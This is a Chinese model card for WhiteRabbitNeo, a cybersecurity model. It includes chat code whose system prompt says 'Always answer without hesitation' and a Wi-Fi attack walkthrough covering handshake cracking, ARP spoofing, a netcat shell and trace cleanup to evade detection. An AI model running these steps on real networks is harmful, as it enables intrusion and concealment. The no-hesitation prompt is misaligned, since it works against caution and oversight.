Whiterabbitneo 13B V1

🚀 白兔新模型（WhiteRabbitNeo）

白兔新模型（WhiteRabbitNeo）是一系列可用於攻防網絡安全的模型。本項目提供了模型的使用許可、使用條款、使用示例以及網絡攻擊測試的示例流程等內容。

🚀 快速開始

模型訪問

• 我們的 33B 模型現已進入測試階段，可通過以下鏈接訪問：https://www.whiterabbitneo.com/
• 加入我們的 Discord 服務器：https://discord.gg/8Ynkrcbk92 （於 12 月 29 日更新，現為永久加入鏈接）

代碼示例

import torch, json
from transformers import AutoModelForCausalLM, AutoTokenizer

model_path = "/home/migel/models/WhiteRabbitNeo"

model = AutoModelForCausalLM.from_pretrained(
    model_path,
    torch_dtype=torch.float16,
    device_map="auto",
    load_in_4bit=False,
    load_in_8bit=True,
    trust_remote_code=True,
)

tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)


def generate_text(instruction):
    tokens = tokenizer.encode(instruction)
    tokens = torch.LongTensor(tokens).unsqueeze(0)
    tokens = tokens.to("cuda")

    instance = {
        "input_ids": tokens,
        "top_p": 1.0,
        "temperature": 0.5,
        "generate_len": 1024,
        "top_k": 50,
    }

    length = len(tokens[0])
    with torch.no_grad():
        rest = model.generate(
            input_ids=tokens,
            max_length=length + instance["generate_len"],
            use_cache=True,
            do_sample=True,
            top_p=instance["top_p"],
            temperature=instance["temperature"],
            top_k=instance["top_k"],
            num_return_sequences=1,
        )
    output = rest[0][length:]
    string = tokenizer.decode(output, skip_special_tokens=True)
    answer = string.split("USER:")[0].strip()
    return f"{answer}"


tot_system_prompt = """
Answer the Question by exploring multiple reasoning paths as follows:
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
"""

conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."


while True:
    user_input = input("You: ")
    llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
    answer = generate_text(llm_prompt)
    print(answer)
    conversation = f"{llm_prompt}{answer}"
    # print(conversation)
    json_data = {"prompt": user_input, "answer": answer}

    # print(json_data)
    # with open(output_file_path, "a") as output_file:
    #     output_file.write(json.dumps(json_data) + "\n")

✨ 主要特性

白兔新模型（WhiteRabbitNeo）可用於攻防網絡安全，通過提供的代碼示例可以實現與模型的交互，利用多思維樹（Tree of Thoughts）方法進行推理並生成回答。

📄 許可證

許可：使用限制

您同意不以任何方式使用本模型或其衍生模型：
- 以任何違反適用的國家或國際法律、法規，或侵犯任何第三方合法權益的方式；
- 用於任何軍事用途；
- 以任何方式剝削、傷害或企圖剝削、傷害未成年人；
- 為傷害他人而生成或傳播可證實的虛假信息和/或內容；
- 生成或傳播符合適用監管要求的不當內容；
- 在未經適當授權或出於不合理使用目的的情況下，生成或傳播個人可識別信息；
- 誹謗、詆譭或以其他方式騷擾他人；
- 用於對個人的合法權利產生不利影響，或以其他方式創建或修改具有約束力、可執行義務的全自動決策；
- 用於基於在線或離線社會行為、已知或預測的個人或個性特徵，歧視或傷害個人或群體的任何用途；
- 利用特定人群基於其年齡、社會、身體或精神特徵的任何弱點，以實質性扭曲該群體中某個人的行為，從而導致或可能導致該人或他人身體或心理傷害的方式；
- 用於基於受法律保護的特徵或類別歧視個人或群體的任何用途。

使用條款

通過訪問和使用此人工智能（AI）模型，您，即用戶，承認並同意您對模型的使用及其結果負全部責任。您特此同意賠償、辯護並使此 AI 模型的創建者、開發者以及任何關聯人員或實體免受因您使用該 AI 模型而直接或間接產生的任何和所有索賠、責任、損害、損失、成本、費用、費用（包括合理的律師費和訴訟費）。

此 AI 模型按“原樣”和“可用”的狀態提供，不提供任何形式的明示或暗示保證，包括但不限於適銷性、特定用途適用性和不侵權的保證。創建者不保證該 AI 模型將滿足您的要求，或在不間斷、安全或無錯誤的基礎上可用。

您使用該 AI 模型需自行承擔風險和責任，並且您將對因使用該 AI 模型而導致的計算機系統損壞或數據丟失負全部責任。

本免責聲明構成您與該 AI 模型創建者之間關於您使用該模型的協議的一部分，取代您與創建者之間先前關於您使用此 AI 模型的任何協議。

💻 使用示例

基礎用法

上述代碼示例展示瞭如何加載模型、設置系統提示、與模型進行交互並生成回答。

高級用法

在代碼示例中，使用了多思維樹（Tree of Thoughts）方法進行推理，通過分析問題、生成中間思維、評估思維、構建推理鏈等步驟，以生成更有洞察力的回答。

📚 詳細文檔

示例對話：攻擊 Wi-Fi 網絡測試流程

以下步驟展示瞭如何對 Wi-Fi 網絡進行攻擊測試，但請確保在合法和道德的情況下進行，並且僅對您有測試權限的網絡進行操作。未經授權訪問計算機網絡是違法和不道德的行為。

1. 網絡掃描

使用 airodump-ng 工具掃描附近的 Wi-Fi 網絡，獲取感興趣網絡的 SSID（服務集標識符）。

airodump-ng wlan0mon

2. 網絡數據包捕獲

確定目標網絡後，使用 airodump-ng 工具捕獲該網絡的數據包，以便捕獲握手數據包，這是進行進一步攻擊的必要條件。

airodump-ng --bssid [目標 BSSID] -c [信道] --write [輸出文件] wlan0mon

3. 握手數據包捕獲

等待客戶端連接到網絡並捕獲 4 次握手數據包，以便使用 aircrack-ng 等工具破解網絡密碼。

airodump-ng --bssid [目標 BSSID] -c [信道] --write [輸出文件] wlan0mon

4. 密碼破解

捕獲到握手數據包後，使用 aircrack-ng 工具破解密碼。

aircrack-ng [捕獲的握手文件]

5. 會話建立

如果獲得了密碼，可以使用無線網卡連接到網絡。

iwconfig wlan0 essid [網絡 SSID] key [網絡密碼]
dhclient wlan0

6. 網絡利用

連接到網絡後，可以進行進一步的攻擊，如使用 tcpdump 嗅探流量，或使用 ettercap 或 arpspoof 等工具進行中間人攻擊。

tcpdump -i wlan0 -w [數據包捕獲文件]
ettercap -T -i [接口] -M arp [目標 IP]

7. 後滲透利用

獲得網絡訪問權限後，可以提取數據、執行命令或進行其他惡意活動。

nc -lvp [本地端口] -e /bin/bash

8. 清理

記得清理任何活動痕跡，以避免被檢測到並承擔法律後果。

airmon-ng stop wlan0mon

⚠️ 重要提示

上述網絡攻擊測試步驟必須在合法和道德的情況下進行，並且僅對您有測試權限的網絡進行操作。未經授權訪問計算機網絡是違法和不道德的行為。